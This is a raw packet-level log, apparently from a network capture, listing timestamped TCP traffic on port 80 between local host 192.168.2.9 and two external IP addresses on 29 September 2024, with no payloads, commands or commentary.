Sep 29, 2024 00:53:22.748347998 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.748377085 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.748394966 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.749130011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.749180079 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.749984980 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750050068 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.750133038 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750145912 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750159979 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750184059 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.750205040 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.750272989 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750283957 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750296116 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750305891 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750317097 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750329971 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750343084 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750354052 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.750354052 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.750358105 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750370026 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750377893 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750382900 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.750403881 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.750417948 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.750634909 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750644922 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750657082 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750690937 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.750695944 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750706911 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750719070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.750721931 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.750735044 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.750745058 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.750775099 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.750994921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751008987 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751023054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751043081 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751070023 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751095057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751106024 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751106024 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751107931 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751121998 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751137018 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751144886 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751151085 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751168013 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751172066 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751189947 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751236916 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751650095 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751698971 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751707077 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751710892 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751743078 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751749992 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751755953 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751768112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751777887 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751790047 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751804113 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751868963 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751883030 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751888037 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751888037 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751893997 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751907110 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751918077 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751928091 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751945972 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.751950026 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751950026 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.751957893 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.752108097 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.752580881 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752593994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752604961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752639055 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.752645969 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752657890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752671957 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752681017 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.752681017 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.752682924 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752710104 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.752742052 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752759933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752762079 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.752772093 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752784014 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752791882 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.752791882 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.752795935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752808094 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752814054 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.752820015 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.752850056 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.752888918 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.753623962 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753638029 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753648996 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753659010 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753669977 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753675938 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.753680944 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753703117 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753712893 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753721952 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.753721952 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.753725052 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753736973 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753751993 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753761053 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.753761053 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.753765106 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753779888 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753802061 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.753830910 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.753830910 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.753830910 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.754498959 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754511118 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754523039 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754545927 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754560947 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.754563093 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754575014 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.754576921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754594088 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754617929 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.754617929 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.754635096 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754646063 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754657984 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754669905 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754674911 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.754674911 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.754683971 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754693031 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.754698038 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754714012 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.754755020 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.754755020 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.754755020 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.755408049 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.755467892 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.781795025 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.781805992 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.781862020 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.781874895 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.781887054 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.781936884 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.781995058 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.782011032 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782058001 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.782097101 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782119036 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782136917 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782175064 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.782299042 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782305002 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782360077 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782361031 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.782377958 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782390118 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782402992 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782416105 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782427073 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782499075 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.782844067 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782861948 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782869101 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782895088 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782907009 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782907009 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.782921076 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782933950 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782949924 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782951117 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.782962084 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.782972097 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.782996893 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.783607006 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.783617020 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.783628941 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.783639908 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.783652067 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.783663988 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.783667088 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.783669949 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.783680916 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.783687115 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.783693075 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.783735037 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.784091949 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784104109 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784115076 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784125090 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784141064 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784147978 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.784163952 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784171104 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784173012 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784176111 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784185886 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784192085 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.784198046 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784243107 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.784826040 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784838915 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784851074 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784888983 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.784926891 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.784955025 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784965992 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784976959 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.784989119 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785000086 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785007000 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.785011053 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785022020 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785027027 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.785033941 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785044909 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785051107 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.785058022 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785105944 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.785105944 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.785433054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.785444021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.785454035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.785501003 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.785542965 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.785765886 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785820961 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.785859108 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785871983 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785883904 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785901070 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785912991 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.785918951 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785931110 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785937071 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.785943031 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785953999 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.785973072 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.786000013 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.786000967 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.786010981 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.786021948 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.786031961 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.786032915 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.786062002 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.786134005 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.786767960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.786783934 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.786794901 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.786804914 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.786833048 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.786844015 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.786854982 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.786864996 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.786865950 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.786865950 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.786887884 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.786896944 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.786905050 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.786905050 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.786911964 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.786919117 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.786927938 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.786935091 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.786938906 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.786947966 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.786955118 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.786961079 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.786989927 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.787022114 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.787034035 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.787045956 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.787050962 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.787056923 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.787128925 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.787128925 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.787128925 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.787144899 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.787157059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.787188053 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.787203074 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.787204981 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.787215948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.787247896 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.787262917 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.787276030 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.787287951 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.787298918 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.787343025 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.787343025 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.787372112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.787389994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.787425041 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.787445068 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.802433014 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.802453041 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.802465916 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.802476883 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.802489996 CEST	80	49709	80.66.75.114	192.168.2.9
Sep 29, 2024 00:53:22.802495956 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.802541971 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.802587986 CEST	49709	80	192.168.2.9	80.66.75.114
Sep 29, 2024 00:53:22.834322929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.834326029 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.834331989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.834347963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.834359884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.834372044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.834383011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.834430933 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.834460974 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.834530115 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.834598064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.834609985 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.834623098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.834642887 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.834675074 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:22.835021019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.835031033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:22.835050106 CEST	80	49710	103.130.147.211	192.168.2.9
